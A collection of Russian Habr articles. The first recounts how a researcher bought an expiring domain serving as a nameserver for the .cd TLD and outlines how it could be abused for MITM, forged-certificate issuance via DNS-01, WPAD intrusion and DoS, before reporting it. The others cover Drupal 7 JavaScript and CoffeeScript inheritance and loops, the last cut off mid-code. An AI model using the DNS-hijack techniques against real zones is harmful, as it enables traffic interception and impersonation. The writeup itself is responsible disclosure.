# Как я угнал национальный домен Демократической Республики Конго *Примечание: проблема решена. Сейчас национальный домен .cd уже не делегирует полномочия скомпрометированному нейм-серверу* **TL;DR** Представьте, что может произойти, если национальный домен верхнего уровня (ccTLD) суверенного государства попадет в чужие руки. Однако я ([@Almroot](https://twitter.com/almroot)) купил доменное имя, которое указано для делегирования NS в национальном домене Демократической Республики Конго (`.cd`), и временно принял более 50% всего DNS-трафика для этой TLD. На моём месте мог оказаться злоумышленник, который использовал бы эту возможность для MITM или других злоупотреблений. ![](https://habrastorage.org/r/w780q1/webt/m8/id/n0/m8idn0lg2fw9keoh4gqfeuouwhi.jpeg) Вступление ========== За неделю до Рождества я решил провести анализ всех записей NS для всех TLD в мире. И моё внимание привлекло одно обстоятельство. У домена `scpt-network.com` был указан код статуса EPP “redemptionPeriod”. Это означает, что владелец не перечислил деньги за продление домена. Если владелец продолжит игнорировать оплату, то у него отберут собственность — и домен поступит в свободную продажу. Довольно проблематичная ситуация, поскольку он входит в список NS-серверов, управляющих зоной `.cd`: ``` almroot@x:~$ dig NS +trace cd | grep "cd." cd. 172800 IN NS ns-root-5.scpt-network.com. cd. 172800 IN NS igubu.saix.net. cd. 172800 IN NS sangoma.saix.net. cd. 172800 IN NS ns-root-2.scpt-network.com. cd. 172800 IN NS sabela.saix.net. cd. 172800 IN NS ns-root-1.scpt-network.com. ``` Я решил на всякий случай написать bash-скрипт, который уведомит меня при любом изменении EPP-статуса. К моему удивлению, примерно через неделю пришло уведомление, что домен перешёл в статус “pendingDelete”. **Я осознавал всю серьёзность ситуации**. Доменное имя вскоре выставят на продажу для всех желающих, то есть любой человек может элементарно завладеть нейм-сервером `.cd`. Я изменил скрипт — и начал поминутно пинговать регистратора на предмет дальнейших изменений статуса. Вечером 30 декабря пришло уведомление. **Я открыл ноутбук и купил доменное имя, чтобы оно не попало в чужие руки.** ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/8f5/ce7/975/8f5ce79750c5caaacdaeb944de83758b.png) Поскольку оставались ещё три записи делегирования на SAIX (South African Internet eXchange, [Южноафриканская точка обмена трафиком](http://www.saix.net/)), национальный домен сохранил работоспособность (хотя скорость резолвинга любых доменов немного уменьшилась). Завладев `scpt-network.com`, я мог настроить любой поддомен на своё усмотрение. Например, если создать новый поддомен `ns-root-1` с A-записью, которая указывает на IP-адрес 1.3.3.7, то на этот адрес 1.3.3.7 пойдут DNS-запросы для зоны .cd. **Любой DNS-ответ на эти запросы будет принят как легитимный.** [![](https://habrastorage.org/r/w1560/webt/ph/za/hl/phzahl11uwtgkocq3bndsysytug.png)](https://habrastorage.org/webt/ph/za/hl/phzahl11uwtgkocq3bndsysytug.png) Если не ответить на запрос, то абонент словит таймаут с кодом состояния SERVFAIL. Это хорошо, потому что при получении такого кода он попытается связаться с любым другим сервером имён (NS record) для этой зоны. Так он в конечном итоге попадёт в одну из нормальных записей SAIX и будет соответствующим образом перенаправлен в нужное место назначения. Потенциальное влияние ===================== Захват национального домена верхнего уровня суверенного государства имеет серьёзные негативные последствия, особенно если этот домен попадёт в руки киберпреступников или иностранного противника. Демократическая Республика Конго (ДРК) — немаленькая страна. Это примерно [90 миллионов человек](http://data.un.org/en/iso/cd.html), не говоря о многочисленных международных компаниях и организациях, работающих в этой доменной зоне. Угон DNS-записи TLD целой страны — явление редкое, но не новое. Например, десять лет назад киберпреступники [захватили домен бывшего Советского Союза](https://www.theguardian.com/technology/2013/may/31/ussr-cybercriminals-su-domain-space) (.su), а в 2015 году вьетнамские сайты Lenovo и Google (.vn) [также стали жертвами угона DNS](https://www.pcworld.com/article/2889392/like-google-in-vietnam-lenovo-tripped-up-by-a-dns-attack.html). Перенаправление DNS-трафика с легальных сайтов .cd на фишинговый сайт — одна из очевидных возможностей для злоупотреблений, но есть и другие: * **Пассивный перехват DNS-трафика** – для слежки или эксфильтрации данных * **Создание новых доменных имён «из воздуха»** – представьте себе возможности для быстрой генерации новых доменных имён с переключением ботнета на новые командные серверы каждые несколько минут, так что их никто не успевает заблокировать (техника [fast flux](https://en.wikipedia.org/wiki/Fast_flux)) * **Атаки с удалённым выполнением кода (RCE) в локальных сетях** – жертвами станут компании, которые используют протокол WPAD (протокол автоматической настройки прокси) * **Поддельные DNS-ответы на законные DNS-запросы** – полный захват корневых доменов в зоне `.cd` или проведение DDoS-атаки. Например, я мог написать эксплоит для захвата конкретного домена в зоне `.cd`. Представьте, что для любых NS-запросов к `google.cd` я всегда возвращаю ответы `ns-root-1.scpt-network.com` (вместо этих четырёх: `[ns1,ns2,n3,ns4].google.com`). Абонент получит такой ответ, и отправит любые последующие DNS-запросы к `ns-root-1.scpt-network.com`. Это также заставило меня задуматься: а что, если отвечать на все NS-запросы ссылкой на себя. Тогда для любого запроса, на который ответит 1.3.3.7, все поиски домена в конечном итоге пойдут по этой ссылке. И весь последующий сетевой трафик будет перенаправлен на 1.3.3.7, что может привести к DDoS-атаке. **На самом деле это также повлияет на доступность всей TLD, ведь 50% DNS-ответов станут неправильными. Силу (обеих) DoS-атак можно увеличить путём установки высокого TTL в ответах DNS.** Сделаем ещё один шаг вперёд. Скажем, я конкретно подделываю TXT-записи для сервера `google.cd`. С помощью поддельных текстовых файлов я обманываю [систему проверки DNS-01](https://letsencrypt.org/docs/challenge-types/#dns-01-challenge) у регистратора Let’s Encrypt — и получаю действительный сертификат для `google.cd`, после чего эффективно взламываю зашифрованный канал SSL/TLS. Поскольку я могу контролировать делегирование NS-серверов для любого домена `.cd` и **получить валидные сертификаты**, то могу провести MITM-атаку даже если жертва использует SSL/TLS. *Примечание переводчика. Некоторые описанные методы доступны государственным службам, которые контролируют национальные домены в своих странах.* В то время как Google применяет различные контрмеры против таких злоупотреблений, можно с уверенностью сказать, что это не относится ко всем корневым доменам в зоне .cd. Дополнительную информацию о том, как удостоверяющие центры проверяют право собственности на домены, см. в [BR 1.7.3](https://cabforum.org/wp-content/uploads/CA-Browser-Forum-BR-1.7.3.pdf). И последнее, но не менее важное: имея привилегированный доступ на вышестоящий хост с контролем DNS, я могу **проникнуть в локальные сети компаний** (пример на скриншоте ниже), которые отправляют DNS-запросы для WPAD — можно отслеживать их запросы, подделать ответы и перенаправить жертву для загрузки и **выполнения вредоносной конфигурации прокси-сервера на JS**. У протокола WPAD своя куча проблем, включая уязвимости RCE, как [рассказывали](https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html) хакеры из команды Project Zero в Google. [![](https://habrastorage.org/r/w1560/webt/-0/3b/uh/-03buho7ttj-auttd5dgguozpxe.png)](https://habrastorage.org/webt/-0/3b/uh/-03buho7ttj-auttd5dgguozpxe.png) Исправление проблемы ==================== 7 января 2021 года я связался с административными и техническими контактами, указанными для зоны .cd на [странице IANA](https://www.iana.org/domains/root/db/cd.html). Первоначально я хотел передать домен оператору `.cd`. Хотя один из контактов ответил и направил меня к коллеге, на момент написания этой статьи я не получил письменного подтверждения, что они устранили проблему. Но вскоре DNS-трафик перенаправили на scpt-network.**net**. 8 января я также отправил отчёт по программе [Internet Bug Bounty](https://internetbugbounty.org/) в HackerOne, которая предлагает вознаграждение за ответственный взлом инфраструктуры интернета. Заключение ========== Угон DNS-сервера несёт крайне негативные последствия, особенно если у злоумышленника плохие намерения. Эта уязвимость затрагивает не только один сайт, поддомен или один корневой домен. Жертвой фишинга, MITM или DDoS может стать абсолютно любой сайт `.cd`, включая сайты крупных международных компаний, финансовых учреждений и других организаций. А это вторая по численности страна Африки и популярная доменная зона. На момент написания этой статьи я всё ещё владею доменным именем scpt-network.com хотя делегирование NS-запросов из зоны .cd прекратились примерно 8 января 2021 года после того, как я с ними связался. Эту операцию я провёл для того, чтобы предотвратить захват злоумышленниками доменной зоны Демократической Республики Конго, когда любой желающий мог угнать доменное имя одного из серверов, управляющих ccTLD. К счастью, в этом случае всё обошлось.
https://habr.com/ru/post/544166/
null
ru
null
# Руководство по написанию JS скриптов для front-end разработчиков под Drupal 7 Существуют разные способы создания верстки под Drupal. Кто-то верстает уже затемленные страницы, кто-то пытается обойтись стандартными темами, но как правило, сначала верстальщик верстает страницы по дизайну, и на выходе получается набор html файлов — слайсов. Затем девелоперы интегрируют эти файлы по кусочкам при теминге. Причем в процессе интеграции находятся ошибки, какие-то модификации, поэтому верстка и скрипты к ней относящиеся, должны быть доступными для правок и тестирования. Именно о последнем способе в основном будет идти речь, я опишу типичные ошибки и бест-практики по их решению при написании JS-скриптов для D7. Думаю это будет интересно как верстальщикам под Drupal, так и разработчикам модулей. В случае верстальщиков основным принципом, которым нужно руководствоваться будет факт, что ваш скрипт будет работать в окружении Drupal, и это накладывает ряд ограничений, в идеале скрипт должен подключаться к Drupal и работать без каких-либо дополнительных модификаций, при этом работать на слайсах вне Drupal. #### Имя переменной jQuery В Drupal 7, в отличие от 6 версии нельзя просто так взять, и обратиться к методам jQuery через $, потому что эта переменная просто не объявлена. Часто приходится сталкиваться с ситуацией, когда верстальщик написал скрипты, которые на верстке работают, либо вы просто взяли готовый скрипт, а при интеграции начинаются проблемы. Скорее всего проблема в использовании переменной $. Пугаться не надо — ходить и везде заменять $ на jQuery не нужно. Допустим есть скрипт: ``` $(function () { $('div.menu-expanded').hide(); $(....); }); ``` Чтобы он заработал при подключении в Drupal его нужно переоформить так: ``` (function ($) { $(function () { $('div.menu-expanded').hide(); $(...); }); }) (jQuery); ``` Таким образом, просто обернув весь код без изменений, с помощью стандартного механизма выделения scope, объект jQuery стал доступен по имени $. Лучше сразу объяснить вашему верстальщику такой прием, чтобы в будущем избежать проблем и не лазить по его скриптам с исправлениями. #### Drupal.behaviors В Drupal есть специальный способ обработки события document ready, Drupal.behaviors, который предоставляет ряд преимуществ. В D6 он уже был, просто немного поменялся способ написания. Например, есть такой скрипт: ``` $(function (){ $('a.tooltip').someTooltipPlugin(); }); ``` Все просто и понятно, но что будет если элементы а, с интересующим нас классом появляются на странице асинхронно? Выходит, что нужно руками вызвать функцию, которая заново навесит все обработчики, либо дублировать этот код в месте возврата асинхронного контента. Механизм бихевиоров предлагает следующую концепцию. Весь код, который должен вызваться при готовности страницы нужно заключить в следующую конструкцию: ``` (function ($) { Drupal.behaviors.yourName = { attach : function(context, settings) { // Your code here. } }; })(jQuery); ``` Таким способом мы обозначили свой бихевиор — просто добавили новое свойство в объект Drupal.behaviors. Его преимущество в том, что помимо вызова при загрузке всей страницы, Drupal вызовет все бихевиоры например, при получении ответа ajax запроса (в случае если это стандартный запрос, например обновление формы или вью). Все бихевиоры можно вызвать вручную так: ``` Drupal.attachBehaviors(document, {}); ``` Drupal пройдет по всем свойствам Drupal.behaviors и вызовет метод attach. Обратите внимание на первый аргумент (про второй аргумент я решил не рассказывать так как он в моем понимании чисто front-end разработчикам не будет полезен). Сюда нужно передавать содержимое (DOM-элемент или селектор), к которому нужно применить(«приаттачить») бихевиор. Это значение будет доступно в качестве аргумента context в каждом бихевиоре. Нужно это для того, что бы ограничить область действия кода внутри бихевиора. Если взять код из предыдущего примера, то обработчик будет добавляться ко всем ссылкам на странице при каждом вызове бихевиора. Но если мы перепишем код так: ``` $('a...', context).someTooltipPlugin(); ``` То сначала при загрузке страницы будут обработаны все ссылки с классом на всей странице, потому что первый вызов бихевиоров происходит с объектом document в качестве контекста. Затем при каждом вызове бихевиоров, но только внутри вновь полученного контента. Например, если у нас есть список с ajax пагинацией, то при переходе на вторую страницу нас интересует для повторной обработки только содержимое второй страницы, а не всего документа. Если вы пишите свой модуль вы просто обязаны ваш функционал завернуть в бихевиор, что бы дать возможность сторонним разработчикам «приаттачить» вашу логику-поведение к их контенту. Причем в любой момент, а не только при загрузке страницы. Нюанс для верстальщиков. В случае, когда сначала готовится верстка, а потом ее планируют прикручивать к Drupal — код нужно оформлять сразу с использованием бихевиоров. Естественно на верстке бихевиоры работать без родных скриптов Drupal не будут, будут сыпаться ошибки об обращении к несуществующим переменным и т.д. Чтобы этого избежать, я предлагаю подключать скрипт drupal.js, который лежит в ядре Drupal на верстке. Таким образом мы сможем писать основные скрипты в пригодном для Drupal виде, и при применении верстки просто копировать их. Все что нужно знать верстальщику — вместо обычного document ready писать бихевиоры. И внутри всегда использовать context при построении селекторов. #### jQuery.once Если бихевиоры нужны были для того, чтобы дополнительно добавлять обработчики к новому контенту, то теперь рассмотрим обратную проблему. Какие-то обработчики могут назначаться на одни и те же элементы дважды, а нужно это не всегда. Самый простой способ при первой обработке добавлять класс, а в селектор включить условие отсутствия этого класса. ``` $('a.tooltip:not(.processed)', context).addClass('processed').someTooltipPlugin(); ``` Такая конструкция внутри бихевиора гарантирует, что при повторном выполнении кода, обработчик добавился единожды. Такой же механизм заложен в плагин jQuery.once, который включен в ядро D7 и по умолчанию доступен на любой странице. С использованием плагина конструкцию выше можно заменить так: ``` $(context).once('myIdentifier', function () { // Your code here. }); ``` Где myIdentifier любое уникальное значение, которое будет использовано в качестве того самого processed класса. Можно заменить более короткой конструкцией: ``` $(context).once(function () { // Your code here. }); ``` В данном случае плагин сам сформирует уникальный класс. #### Base url Довольно распространенная ошибка — забывают учесть base url. Не раз встречал ее в проверенных контриб модулях. Распознать ее легко — слеш в начале пути: var url = '/ajax/my-module/some-action'; Обычно разрабатывают на одном окружении, и просто хардкодят слеш, а когда бейс урл меняется — часть скриптов перестает работать… Чаще всего ошибка встречается при формировании пути для ajax запросов и при задании пути для атрибутов тегов a и img. Правильным будет использовать специальную переменную, которая объявляется ядром: ``` var url = Drupal.settings.basePath + 'ajax/my-module/some-action'; ``` #### Пути ajax запросов Небольшая рекомендация (у нас в компании это просто стандарт) — при формировании пути ajax запросов, начинать их со слова ajax — это позволит при необходимости легко отделить все ajax запросы от обычных. Например исключить их разом из кеша, искать в логах и т.д. Затем имя модуля через дефис — это сразу скажет где искать обработчик этого запроса. Дефисы нужны для читаемости урла, даже если никто его не увидит, лучше придерживаться одного формата, ведь вы не станете строить алиасы нод с подчеркиванием? Пример «правильного» пути по данной логике будет — ajax/my-module/some-action. #### Вывод строк Есть ряд функций, которые следует использовать при выводе текста на JS. Я просто перечислю основные, без углубления — все они являются аналогами PHP функций ядра: ``` // Вывод переведенной строки. Drupal.t('text'); // Вывод "безопасного" значения строки. Drupal.checkPlain(name); // Склонение окончаний фразы, в зависимости от множественного/единственного числа переменной. Drupal.formatPlural(count, singular, plural, args, options); ``` Объявлены они все в drupal.js, соответственно работать без него не будут.
https://habr.com/ru/post/161039/
null
ru
null
# Улучшенное наследование в CoffeeScript CoffeeScript принёс в JS неплохую абстракцию классов, основанную на прототипах. Реализовав известную модель наследования и дополнив её наследованием методов касса, он позволяет легко строить иерархии классов, даже не зная о цепочках прототипов. Но и эта модель может быть улучшена. *Приведенный способ не сможет полностью заменить существующий, так как он использует свойство `__proto__`, недоступное в некоторых реализациях JS. Но он позволяет значительно расширить возможности наследования, работая при этом поверх основной модели.* Кроме создания цепочки прототипов конструктров кофе использует следующий код для наследования свойств класса: ``` for key of parent child[key] = parent[key] if __hasProp_.call(parent, key) ``` То есть все свойства просто копируются. При таком наследовании теряется гибкость. Простейший пример — при изменении метода предка не меняются методы в наследованных классах. Также не наследуются неперечисляемые свойства. Было бы гораздо лучше, если свойства класса тоже наследовались по цепочке прототипов. Всё что нужно — после наследования класса средствами кофе удалить всё унаследованное :) и установить `child.__proto__ = parent`. При таком наследовании у дочернего класса будут доступны все свойства предка, которые так же можно переопределить. Но появляется возможность реализовывать интересную функциональность, основанную на том, что свойства принадлежат прототипу, а не самому объекту. Один из примеров — переменная экземпляра класса (class instance variable). **UPD:** Все таки уточню, что переменная относится к классу, не к его экземпляру. переменная\_экземпляра класса. Доступна в качестве свойства только одного класса. ``` Object.defineProperty Parent, 'test', get: -> @_test if @hasOwnProperty '_test' set: (val) -> @_test = val Parent.test = 1 Parent.test # => 1 Child.test # => undefined Child.test = 2 Parent.test # => 1 Child.test # => 2 ``` Этот подход к наследованию лежит в основе пакета [coffee\_classkit](https://github.com/printercu/coffee_classkit). В этом пакете также реализованы методы работы с классами, взятые из Ruby: `include`, использующий `append_features`, `extend`, использующий `extend_object`, хуки `inherited, included, extended`. Не стану здесь описывать их подробно: они идиентичны аналогам из руби, только названия в кэмлкейсе. Кто не не знаком с Ruby, надеюсь, без труда всё поймёт по [исходнику](https://github.com/printercu/coffee_classkit/blob/master/coffee_classkit.coffee), тем более, что методы не больше шести строк. Вся функциональность доступна с использованием обычного синтаксиса объявления класса: ``` classkit = require 'coffee_classkit' class Child extends Parent classkit.extendsWithProto @ classkit.include @, Mixin ``` Для удобвства в пакете есть класс, имеющий все эти методы в своем составе. Унаследовав от него класс, можно использовать их в более явной и привычной форме: ``` class Example extends classkit.Module @extendsWithProto() @include Mixin ``` Также в пакет включен аналог [`ActiveSupport::Concern`](http://api.rubyonrails.org/classes/ActiveSupport/Concern.html): ``` class Mixin extends classkit.Module @extendsWithProto().concern() @includedBlock: -> # выполняется в контексте базового класса @instanceVariable 'test' class @ClassMethods someClassMethod: -> someInstanceMethod: -> class Base extends classkit.Module @include Mixin @someClassMethod() (new Base).someInstanceMethod() ``` Больше простых примеров можно найти в тестах в репозитории. С использованием описанных подходов, становится возможным писать модульный объектно-ориентированный код, не врываясь в глобальное пространство имён. Развёрнутый пример можно посмотреть [в набросках проекта](https://github.com/printercu/costa), написанного с использованием CoffeeClasskit.
https://habr.com/ru/post/190494/
null
ru
null
# CoffeeScript: Подробное руководство по циклам ![CoffeeScript: Подробное руководство по циклам](https://habrastorage.org/r/w780q1/getpro/habr/post_images/363/111/98a/36311198a5ca70be13e4d1189d46d778.jpg) Как известно, *CoffeeScript*предлагает несколько иной набор управляющих конструкций, нежели *JavaScript*. Не смотря на то, что разработчики языка максимально упростили [грамматику](http://en.wikipedia.org/wiki/Formal_grammar) и дали подробное описание всех [инструкций](http://en.wikipedia.org/wiki/Statement_%28programming%29), сделать более или менее нестандартный цикл для многих остается большой сложностью. В этой статье я попытаюсь максимально подробно рассказать о принципах работы с циклами в *CoffeeScript* и тесно связанными с ними управляющими конструкциями. Весь код сопровождается сравнительными примерами на *JavaScript*. #### Инструкция for-in Начнем с самого простого цикла for: ``` for (var i = 0; i < 10; i++) { //... } ``` В CoffeeScript он будет записан так: ``` for i in [0...10] ``` Для определения количества итераций используются [диапазоны](http://en.wikipedia.org/wiki/Range_%28computer_programming%29#Range_as_an_alternative_to_iterator). В нашем случае, диапазон от *0...10* означает: выполнить *10* итераций цикла. Но как быть если требуется задать условие типа *i <= 10*? ``` for i in [0..10] ``` На первый взляд ничего не изменилось, но если присмотреться, то можно заметить, что в диапазоне одной точкой стало меньше. В итоге, мы получим следующую запись: ``` for (var i = 0; i <= 10; i++) { //... } ``` Если начальное значение диапазона больше конечного *[10..0]*, то мы получим обратный цикл с инвертированным результатом: ``` for (var i = 10; i >= 0; i--) { //.. } ``` Хочу заметить, также допустимо использование отрицательных значений диапазона: ``` for i in [-10..0] ``` А так, можно заполнить массив отрицательными значениями: ``` [0..-3] #[0, -1, -2, -3] ``` Теперь рассмотрим реальную ситуацию, на примере функции которая, вычисляет факториал числа n: ###### JavaScript: ``` var factorial = function(n) { var result = 1; for (i = 1; i <= n; i++) { result *= i; } return result; }; factorial(5) //120 ``` ###### CoffeeScript: ``` factorial = (n) -> result = 1 for i in [1..n] result *= i result factorial 5 #120 ``` Как видно из примера выше, код на *CoffeeScript* более компактный и читабельный по сравнению с *JavaScript*. Однако и этот код можно немного упростить: ``` factorial = (n) -> result = 1 result *= i for i in [1..n] result ``` ~~В этой статье, это не последний пример вычисления факториала, более эффективные способы будет рассмотрены чуть позже.~~ ###### [...] Позволю себе немного отступится от темы и упомянуть еще один интересный момент связанный с применением конструкции *[...] (slice)*. Иногда к чужом коде можно встретить примерно такую конструкцию: ``` 'a,b,c'[''...][0] ``` Что в конечно счете будет означать следующее: ``` 'a,b,c'.slice('')[0]; //a ``` На первый взгляд, отличить диапазоны от слайсов довольно сложно. Основных отличий два: Во-первых, в слайсах можно пропустить одно крайнее значение ``` [1...] ``` Здесь мне бы хотелось обратить особое внимание на то, что мы получим после трансляции этого выражения: ``` var __slice = Array.prototype.slice; __slice.call(1); ``` Это может быть удобно, например, для получения списка аргументов функции: ``` fn = -> [arguments...] fn [1..3] #0,1,2,3 ``` Хочу заметить, что в *CoffeeScript* для получения списка аргументов функции есть более безопасный и изящный вариант ([splats](http://coffeescript.org/#splats)): ``` fn = (args...) -> args fn [1..3] #0,1,2,3 ``` Также допустимо использование арифметических и логических операций: ``` [1 + 1...] ``` Во-вторых, перед слайсами допустимо наличие объекта ``` [1..10][...2] #1,2 ``` В-третьих, в слайсах допустимо использование перечислений ``` [1,2,3...] ``` В этом примере выполняется простая операция конкатенации: ``` [1, 2].concat(Array.prototype.slice.call(3)); //[1,2,3] ``` Более полезный пример: ``` list1 = [1,2,3] list2 = [4,5,6] [list1, list2 ...] #[1,2,3,4,5,6] ``` #### List comprehension Наиболее яркой синтаксической конструкцией для работы с объектами в *CoffeeScript*, являются списочные выражения ([List comprehension](http://en.wikipedia.org/wiki/List_comprehension)). Пример того, как можно получить список всех вычислений факториала от *1* до *n*: ``` factorial = (n) -> result = 1 result *= i for i in [1..n] factorial 5 #1,2,6,24,120 ``` Теперь давайте рассмотрим более интересный пример и выведем список первых пяти членов объекта *location*: ``` (i for i of location)[0...5] # hash, host, hostname, href, pathname ``` На *JavaScript* этот код выглядел бы так: ``` var list = function() { var result = []; for (var i in location) { result.push(i); } return result; }().slice(0, 5); ``` Для того чтобы вывести список элементов (не индексов) массива нужно задать еще один параметр: ``` foo = (value for i, value of ['a', 'b', 'c'][0...2]) # [ a, b ] ``` C одной стороны, списочные выражения представляет собой очень эффективный и компактный способ для работы с объектами. С другой стороны, нужно четко представлять какой код будет получен после трансляции в *JavaScript*. К примеру, код выше, который выводит список элементов от *0* до *2*, более эффективно можно переписать так: ``` foo = (value for value in ['a', 'b', 'c'][0...2]) ``` Или так: ``` ['a', 'b', 'c'].filter (value, i) -> i < 2 ``` На этом месте прошу обратить особое внимание на пробел перед между именем метода и открывающей скобкой. Наличие этого пробела обязательно! Если пропустить пробел, то мы получим следующее: ``` ['a', 'b', 'c'].filter(value, i)(function() { return i < 2; }); //ReferenceError: value is not defined! ``` Теперь, вам наверное интересно узнать почему вариант с методом *.filter()* оказался наиболее предпочтителен? Дело в том, что когда мы используем инструкцию *for-of*, транслятор подставляет более медленный вариант цикла чем требуется, а именно *for-in*: ###### Результат трансляции: ``` var i, value; [ (function() { var _ref, _results; _ref = ['a', 'b', 'c'].slice(0, 2); _results = []; for (i in _ref) { value = _ref[i]; _results.push(value); } return _results; })() ]; ``` Скажем прямо, итоговый код ужасен. Теперь давайте посмотрим на код полученный при использовании метода *filter*: ``` ['a', 'b', 'c'].filter(function(value, i) { return i < 2; }); ``` Как видите, мы получили идеальный и эффективный код! Если вы используете *CoffeeScript* на сервере, то вам не о чем беспокоится, ели нет, то стоит помнить, что *IE9-* не поддерживает метод *filter*. Поэтому вы сами должны [позаботиться](https://github.com/monolithed/ECMAScript-5/blob/master/Array.js#L124-133) о его наличии! #### Оператор then Как известно, для интерпретации [выражений](http://en.wikipedia.org/wiki/Parsing_expression_grammar)), парсер *CoffeeScript* анализирует отступы, переводы строк, символы возврата каретки и пр. Ниже представлен типичный цикл для возведения чисел от 1 до n в степень двойки: ``` for i in [1...10] i * i ``` Для наглядности, мы использовали перевод строки и отступ. Однако в реальной ситуации, большинство разработчиков предпочтут записать это выражение в одну строчку: ``` for i in [1...10] then i * i ``` В инструкциях *while*, *if/else*, и *switch/when* оператор *then* указывает анализатору на разделение выражений. #### Оператор by До этого момента мы рассматривали только "*простые*" циклы, сейчас пора поговорить о циклах с пропусками значений в определенный шаг. Выведем только четные числа от *2* до *10*: ``` alert i for i in [0..10] by 2 #0,2,4,6,8,10 ``` На *JavaScript* этот код выглядел бы так: ``` for (var i = 2; i <= 10; i += 2) { alert(i); } ``` Опрератор *by* применяется к диапазону элементов, в которых можно установить шаг итерации. Также мы можем работать не только с числами или элементами массива, но и со строками: ``` [i for i in 'Hello World' by 3] #H,l,W,l ``` Операторы *by* и *then* могут примеятся совместно: ``` [for i in 'hello world' by 1 then i.toUpperCase()] # H,E,L,L,O, ,W,O,R,L,D ``` Хотя этот пример немного надуман и в реальной ситуации шаг "*в один*" слудует упостить, тем не менее совместная работа операторов *by-then* позволяет писать очень компактный и эффективный код. #### Оператор own В *JavaScript* довольно часто используется метод *.hasOwnProperty()*, который в отличии от оператора *in* не проверяет свойства в цепочке прототипов объекта: ``` var object = { foo: 1 }; object.constructor.prototype.bar = 1; console.log('bar' in object); // true console.log(object.hasOwnProperty('bar')); // false ``` Рассмотрим пример использования метод *.hasOwnProperty()* в теле цикла *for-in*: ``` var object = { foo: 1 }; object.constructor.prototype.toString = function() { return this.foo; }; for (i in object) { if (object.hasOwnProperty(i)) { console.log(i); //foo } } ``` Несмотря на то, что мы добавили метод *.toString()* в прототип объекта *object*, в теле цикла он перечислен не будет. Хотя к нему можно обратиться напрямую: ``` object.toString() //1 ``` В *CoffeeScript* для этих целей предусмотрен специальный оператор *own*: ``` object = foo: 1 object.constructor::toString = -> @foo for own i of object console.log i #foo ``` Если нужно использовать второй ключ инструкции *for-of* , то достаточно его указать через запятую, при этом добавлять еще раз оператор *own* не нужно: ``` for own key, value of object console.log '#{key}, #{value}' #foo, 1 ``` #### Условные операторы if/else Сейчас мне бы хотелось обратить внимаение на один очень важный момент, который связан с совместным использованием циклов с операторами if/else. Иногда в *JavaScript* приложениях мы можем встретить подобный код: ``` for (var i = 0; i < 10; i++) if (i === 1) break; ``` Не будем обсуждать и тем более осуждать разработчиков, которые так пишут. Для нас представляет интерес только как корректно записать выражение в *CoffeeScript*. Первое что приходит в голову, сделать так: ``` for i in [0..10] if i is 1 break # Parse error on line 1: Unexpected 'TERMINATOR' ``` Прекрасно..., однако согласно правилам [лексического анализа](http://coffeescript.org/documentation/docs/lexer.html) *CoffeeScript*перед инструкцией *if* будет обнаружено неожидаемое значение терминала, что приведет к ошибке парсинга! Из предыдущего материала мы помним, что записать выражение в одну строчку мы можем реализовать с помощью оператора *then*: ``` for i in [0..10] then if i is 1 break #Parse error on line 1: Unexpected 'POST_IF' ``` Однако и это не помогло, мы снова видим ошибку парсинга. Давайте попробуем разобраться... Дело в том, что инструкция *if* подчиняется тем же правилам, что и другие инструкции, для которых возможно применение оператора *then*. А именно, для того чтобы наше выражение правильно распарсилось нужно после выражения с *if* добавить еще раз оператор *then*: ``` for i in [0..10] then if i is 1 then break ``` Таким образом мы получим следующий код: ``` for (i = 0; i <= 10; i++) { if (i === 1) { break; } } ``` Иногда бывают ситуации, когда перед циклом нужно проверить выполнение к.л. условия: ``` if (foo === true) { for (i = 0; i <= 10; i++) { if (i === 1) { break; } } } ``` Благодаря использованию [недетерминированной](http://en.wikipedia.org/wiki/Nondeterministic_Turing_machine) обработки данных и списочным выражениям, наш код мы можем представить следующим образом: ``` (if i is 1 then break) for i in [0..10] if foo is on ``` Обратитие внимание, что то в этом случае мы не стали использовать опрератор *then*, при этом никаких ошибок парсинга не произошло! #### Условный оператор when Мы уже рассмотрели операторы *by* и *then*, настало время поговорить о следующем операторе в нашем списке, а именно об условном операторе *when*. И начнем мы пожалуй с коррекции предыдущего примера: ``` if foo is on then for i in [0..10] when i is 1 then break ``` В этом случае, кода получился немного больше в чем предыдущем варианте, однако он приобрел куда больше выразительности и смысла. Давайте рассмотрим еще один пример, как можно вывести порядок чисел от *1* до *10* по модулю натурального числа n: ``` alert i for i in [1..10] when i % 2 is 0 ``` После трансляции в *JavaScript* код: ``` for (i = 1; i <= 10; i++) { if (i % 2 === 0) { alert(i); } } ``` Как видите использование оператора when дает нам еще больше возможностей для работы с массивами. #### Инструкция for-of Вы уже видели примеры использования инструкции *for-of*, когда рассматривали списочные выражения. Теперь давайте более подробно познакомимся с инструкцией *for-of*, которая наряду с *for-in* позволяет перебирать свойства объекта. Давайте сразу проведем сравнительную аналогию с инструкцией *for-in* в *JavaScript*: ``` var object = { foo: 0, bar: 1 }; for (var i in object) { alert(key + " : " + object[i]); //0 : foo, 1 : bar } ``` Как видите для получения значения свойств объекта мы использовали следующий синтаксис: *object[i]*. В *CoffeeScript* же, все проще, во-первых мы можем получить значение объекта используя списочные выражения: ``` value for key, value of {foo: 1, bar: 2} ``` Во-вторых, для более сложных выражений мы можем применить более разверную нотацию с применением уже знакомых нам операторов: ``` for key, value of {foo: 1, bar: 2} if key is 'foo' and value is 1 then break ``` В *JavaScript* тот же результат можно получить так: ``` var object = { foo: 1, bar: 2 }; for (key in object) { if (key === 'foo' && object[i] === 1) { break; } } ``` Еще один пример эффективного использования *for-in*: ``` (if value is 1 then alert "#{key} : #{value}") for key, value of document #ELEMENT_NODE : 1, #DOCUMENT_POSITION_DISCONNECTED : 1 ``` Напомню, что самым эффективным способом получения списка свойств объекта, явлется метод *keys()*: ``` Object.keys obj {foo: 1, bar: 2} # foo, bar ``` Для того чтобы получить значения свойств, метод *keys()* нужно использовать совместно с методом *map()*: ``` object = foo: 1 bar: 2 Object.keys(object).map (key) -> object[key]; # 1, 2 ``` #### Инструкция while По мимо инструкций *for-of/in* в *CoffeeScript* также реализована инструкция *while*. Когда мы рассматривали инструкцию *for-in*, я обещал показать еще более эффективный способ вычисления фактриала числа *n*, время как раз подходящее: ``` factorial = (n) -> result = 1 while n then result *= n-- result ``` На вскидку хочу добавить, что самое элегантное решение вычисления факториала следующее: ``` factorial = (n) -> !n and 1 or n * factorial n - 1 ``` #### Инструкция loop На этой инструкции мы не будем долго останавливаться, потому что единственное ее назначение это создание [бесконечного цикла](http://en.wikipedia.org/wiki/Infinite_loop): ``` loop then break if foo is bar ``` Рельтат трансляции: ``` while (true) { if 